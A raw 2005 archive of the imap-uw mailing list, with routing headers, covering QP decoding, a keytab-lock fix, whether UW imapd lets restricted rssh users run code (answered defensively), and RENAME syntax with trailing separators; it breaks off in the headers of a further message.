6 Oct 2005 13:26:47 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQkFr008611; Thu, 6 Oct 2005 13:26:46 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQkmq011075; Thu, 6 Oct 2005 13:26:46 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQjBR011059 for ; Thu, 6 Oct 2005 13:26:45 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQhcp015994 for ; Thu, 6 Oct 2005 13:26:43 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id j96KQgp421348 for ; Thu, 6 Oct 2005 15:26:42 -0500 (CDT) Date: Thu, 6 Oct 2005 15:26:42 -0500 (CDT) From: Tim Mooney To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] utf8_mime2text doesn't decode QP correctly? In-Reply-To: Message-ID: References: <20051005200338.GC22298@diane.unet.brandeis.edu> <43453EB4.3000400@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu In regard to: Re: [Imap-uw] utf8_mime2text doesn't decode QP correctly?,...: > On Thu, 6 Oct 2005, Tim Mooney wrote: >>> In conclusion, the problem is with the the entity that generated that From >>> address, not with c-client. >> I'm not disagreeing, but what about being "... generous in what you >> accept"? > > My position is: I don't necessarily disagree with any of this, and I appreciate someone that sticks to their principles (especially when they're sound). Perhaps in this case principles will win out over interoperability, and the principled software will help force better behavior on the broken software. That sometimes happens, and I hope it's so in this case. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 6 13:26:48 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Oct 2005 13:26:48 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQmrJ011043 for ; Thu, 6 Oct 2005 13:26:48 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQlSO007561 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Oct 2005 13:26:47 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQl3u008627; Thu, 6 Oct 2005 13:26:47 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQlVg011084; Thu, 6 Oct 2005 13:26:47 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQjO1011060 for ; Thu, 6 Oct 2005 13:26:45 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQhUi009208 for ; Thu, 6 Oct 2005 13:26:43 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id j96KQgp421348 for ; Thu, 6 Oct 2005 15:26:42 -0500 (CDT) Date: Thu, 6 Oct 2005 15:26:42 -0500 (CDT) From: Tim Mooney To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] utf8_mime2text doesn't decode QP correctly? In-Reply-To: Message-ID: References: <20051005200338.GC22298@diane.unet.brandeis.edu> <43453EB4.3000400@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu In regard to: Re: [Imap-uw] utf8_mime2text doesn't decode QP correctly?,...: > On Thu, 6 Oct 2005, Tim Mooney wrote: >>> In conclusion, the problem is with the the entity that generated that From >>> address, not with c-client. >> I'm not disagreeing, but what about being "... generous in what you >> accept"? > > My position is: I don't necessarily disagree with any of this, and I appreciate someone that sticks to their principles (especially when they're sound). Perhaps in this case principles will win out over interoperability, and the principled software will help force better behavior on the broken software. That sometimes happens, and I hope it's so in this case. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 6 17:36:41 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Oct 2005 17:36:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j970afcO024696 for ; Thu, 6 Oct 2005 17:36:41 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j970aeYV011657 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Oct 2005 17:36:40 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j970ad1G006363; Thu, 6 Oct 2005 17:36:39 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j970adQx032333; Thu, 6 Oct 2005 17:36:39 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j970ac0Q032325 for ; Thu, 6 Oct 2005 17:36:38 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j970ac5m012881 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 6 Oct 2005 17:36:38 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j970abVU030340 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 6 Oct 2005 17:36:37 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j970abm0016199 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 6 Oct 2005 17:36:37 -0700 Date: Thu, 6 Oct 2005 17:38:00 -0700 (Pacific Daylight Time) From: Mark Crispin To: Paul Moore Subject: Re: [Imap-uw] Keytab locked by c-client In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thank you. This will be fixed in the next imap-2005 development snapshot. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 13 10:34:53 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 13 Oct 2005 10:34:52 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHYqsB012362 for ; Thu, 13 Oct 2005 10:34:52 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHYpQd017180 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 13 Oct 2005 10:34:52 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHYp1D001771; Thu, 13 Oct 2005 10:34:51 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHYpX9005616; Thu, 13 Oct 2005 10:34:51 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHYonS005607 for ; Thu, 13 Oct 2005 10:34:50 -0700 Received: from snaefell.rhi.hi.is (snaefell.rhi.hi.is [130.208.165.28]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHYltr022409 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 13 Oct 2005 10:34:49 -0700 Received: from jin.myrkraverk.com (a048.nemendur.hi.is [130.208.188.48]) by snaefell.rhi.hi.is (8.13.3/8.13.3) with ESMTP id j9DHYbmT005101 for ; Thu, 13 Oct 2005 17:34:38 GMT Received: from jin.myrkraverk.com (localhost.localdomain [127.0.0.1]) by jin.myrkraverk.com (8.13.1/8.13.1) with ESMTP id j9DHf8hk027944 for ; Thu, 13 Oct 2005 17:41:08 GMT Received: (from myrkraverk@localhost) by jin.myrkraverk.com (8.13.1/8.13.1/Submit) id j9DHf7Mi027943; Thu, 13 Oct 2005 17:41:07 GMT X-Authentication-Warning: jin.myrkraverk.com: myrkraverk set sender to johann@myrkraverk.com using -f To: imap-uw@u.washington.edu From: "Johann 'Myrkraverk' Oskarsson" Date: Thu, 13 Oct 2005 17:41:07 +0000 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.0.2 X-Spam-Checker-Version: SpamAssassin 3.0.2 (2004-11-16) on snaefell.rhi.hi.is X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Does wu-imapd allow users to run any other code? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, I've recently patched rssh, to allow imapd in addition to the other commands, for imap over ssh. Since rssh, a shell, is meant to limit users to a pre-defined set of possible commands, like scp and sftp, and not shell acess, I was wondering if there were any additional issues with wu imapd? That is, is it possible, with the use of command line options, or imap commands, to execute some code on the server? And therefore bypass what rssh is meant to achieve? For the curious, my rssh source is at: ftp://ftp.myrkraverk.com/pub/people/myrkraverk/rssh-2.2.3-imapd.tar.gz Johann _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 13 10:53:18 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 13 Oct 2005 10:53:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHrHYh013806 for ; Thu, 13 Oct 2005 10:53:17 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHrGVE005838 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 13 Oct 2005 10:53:17 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHrGfd003753; Thu, 13 Oct 2005 10:53:16 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHrGGM009196; Thu, 13 Oct 2005 10:53:16 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHrFs4009180 for ; Thu, 13 Oct 2005 10:53:15 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHrECO018629 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 13 Oct 2005 10:53:14 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHqtls003633 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 13 Oct 2005 10:52:56 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9DHqrMf029346 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 13 Oct 2005 10:52:55 -0700 Date: Thu, 13 Oct 2005 10:52:53 -0700 (PDT) From: Mark Crispin To: "Johann 'Myrkraverk' Oskarsson" Subject: Re: [Imap-uw] Does wu-imapd allow users to run any other code? In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P3_4 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 13 Oct 2005, Johann 'Myrkraverk' Oskarsson wrote: > I've recently patched rssh, to allow imapd in addition to the other > commands, for imap over ssh. Since rssh, a shell, is meant to limit > users to a pre-defined set of possible commands, like scp and sftp, > and not shell acess, I was wondering if there were any additional > issues with wu imapd? That is, is it possible, with the use of > command line options, or imap commands, to execute some code on the > server? And therefore bypass what rssh is meant to achieve? UW imapd does not have any command line options or IMAP commands to execute some code on the server. However, you should be aware that IMAP commands are quite powerful. It is therefore highly advisable that you secure your system such that non-root users, even with shell access, are preventing from compromising your system. Among other things, this means that you should use appropriate file protections to ensure that unprivileged users can not write into critical system directories (one UNIX system actually allowed ordinary users to create files in /etc !!) or read security-sensitive files. Also, to be certain that your copy of imapd has no known security issues, you should ensure that you have the latest release version of UW imapd. Currently, the latest release is imap-2004g. If you do not have imap-2004g, you can get it from: ftp://ftp.cac.washington.edu/mail/imap.tar.Z -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Oct 14 13:41:42 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Oct 2005 13:41:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9EKfgMY030289 for ; Fri, 14 Oct 2005 13:41:42 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9EKffen031802 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 14 Oct 2005 13:41:41 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9EKfeFJ002352; Fri, 14 Oct 2005 13:41:41 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9EKfese016149; Fri, 14 Oct 2005 13:41:40 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9EKfdQ8016139 for ; Fri, 14 Oct 2005 13:41:39 -0700 Received: from mr1.ucalgary.ca (mr1.ucalgary.ca [136.159.34.165]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9EKfcYv019835 for ; Fri, 14 Oct 2005 13:41:39 -0700 Received: from smtp2.ucalgary.ca (smtp2.ucalgary.ca [136.159.36.19]) by mr1.ucalgary.ca (Postfix) with ESMTP id B60117D1C; Fri, 14 Oct 2005 14:41:38 -0600 (MDT) Received: from [136.159.38.48] (pc48-38.acs.ucalgary.ca [136.159.38.48]) (authenticated (0 bits)) by smtp2.ucalgary.ca (8.11.7/8.11.6) with ESMTP id j9EKfWX07422 (using TLSv1/SSLv3 with cipher DHE-RSA-AES256-SHA (256 bits) verified NO); Fri, 14 Oct 2005 14:41:34 -0600 Message-ID: <435017FC.20402@ucalgary.ca> Date: Fri, 14 Oct 2005 14:41:32 -0600 From: Deb Teale Organization: University of Calgary User-Agent: Mozilla Thunderbird 1.0.7 (Windows/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-UCalgary-MailScanner-Information: Please contact IT Help Desk at (403) 220-5555 for more information X-UCalgary-MailScanner: Found to be clean X-UCalgary-MailScanner-From: teale@ucalgary.ca X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] RENAME command syntax X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Not clear from the documentation whether rename "Mail/Applications/ASRIP/" "Mail/Applications/AAA/" as used by Thunderbird when renaming directories should be acceptable. I get back NO RENAME failed: Can't rename Mail/Applications/ASRIP/ to Mail/Applications/AAA/: invalid name No problem renaming folders or moving folders rename "Mail/Applications/ASRIP/aaa" "Mail/Applications/ASRIP2/aaa" Running IMAP4 2004.352. TIA, -- Deborah Teale, E-mail Consultant Web & E-mail Services ~ Information Technologies University of Calgary ~ 2500 University Drive NW ~ Calgary, Alberta _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Oct 14 16:31:31 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Oct 2005 16:31:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9ENVV3E007015 for ; Fri, 14 Oct 2005 16:31:31 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9ENVUrV009826 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 14 Oct 2005 16:31:30 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9ENVUt7019155; Fri, 14 Oct 2005 16:31:30 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9ENVT91014385; Fri, 14 Oct 2005 16:31:29 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9ENVSg1014377 for ; Fri, 14 Oct 2005 16:31:28 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9ENVRsr006903 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 14 Oct 2005 16:31:28 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9ENVQDk017763 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 14 Oct 2005 16:31:26 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9ENVPHQ002247 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 14 Oct 2005 16:31:25 -0700 Date: Fri, 14 Oct 2005 16:31:25 -0700 (Pacific Daylight Time) From: Mark Crispin To: Deb Teale Subject: Re: [Imap-uw] RENAME command syntax In-Reply-To: <435017FC.20402@ucalgary.ca> Message-ID: References: <435017FC.20402@ucalgary.ca> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 14 Oct 2005, Deb Teale wrote: > Not clear from the documentation whether > rename "Mail/Applications/ASRIP/" "Mail/Applications/AAA/" > as used by Thunderbird when renaming directories should be acceptable. A trailing hierarchy separator is mentioned just once in RFC 3501; as part of the definition of the CREATE command and as having special semantics with that command. There is no reason to believe that these semantics exist anywhere else; thus this is a bug in Thunderbird. Nonetheless, I have determined that UW imapd handles a command such as this in an inconsistent fashion. It actually depends upon the driver whether or not it works. Because of this, and because of this reported behavior of Thunderbird, I have decided to make UW imapd be more permissive, and this will appear in the imap-2005 release. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Oct 17 05:28:54 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 17 Oct 2005 05:28:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HCSs6v012600 for ; Mon, 17 Oct 2005 05:28:54 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HCSrmS016206 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 17 Oct 2005 05:28:54 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HCSrV6031123; Mon, 17 Oct 2005 05:28:53 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HCSrVt028105; Mon, 17 Oct 2005 05:28:53 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HCSqXl028097 for ; Mon, 17 Oct 2005 05:28:52 -0700 Received: from artemis.le.ac.uk (artemis.le.ac.uk [143.210.4.129]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HCSpE9004147 for ; Mon, 17 Oct 2005 05:28:52 -0700 Received: from [143.210.72.249] (helo=scyros.mcs.le.ac.uk) by artemis.le.ac.uk with esmtp (Exim 4.44) id 1ERU6l-00043R-3D for imap-uw@u.washington.edu; Mon, 17 Oct 2005 13:28:51 +0100 Received: from pc54 (pc54.mcs.le.ac.uk [143.210.72.46]) by scyros.mcs.le.ac.uk (Postfix) with SMTP id 2B0961009D8 for ; Mon, 17 Oct 2005 13:28:52 +0100 (BST) Date: Mon, 17 Oct 2005 13:28:51 +0100 (BST) From: "J. A. Landamore" To: imap-uw@u.washington.edu MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: fFgZqbI/4jQLZ8iLRqXZwg== X-Mailer: 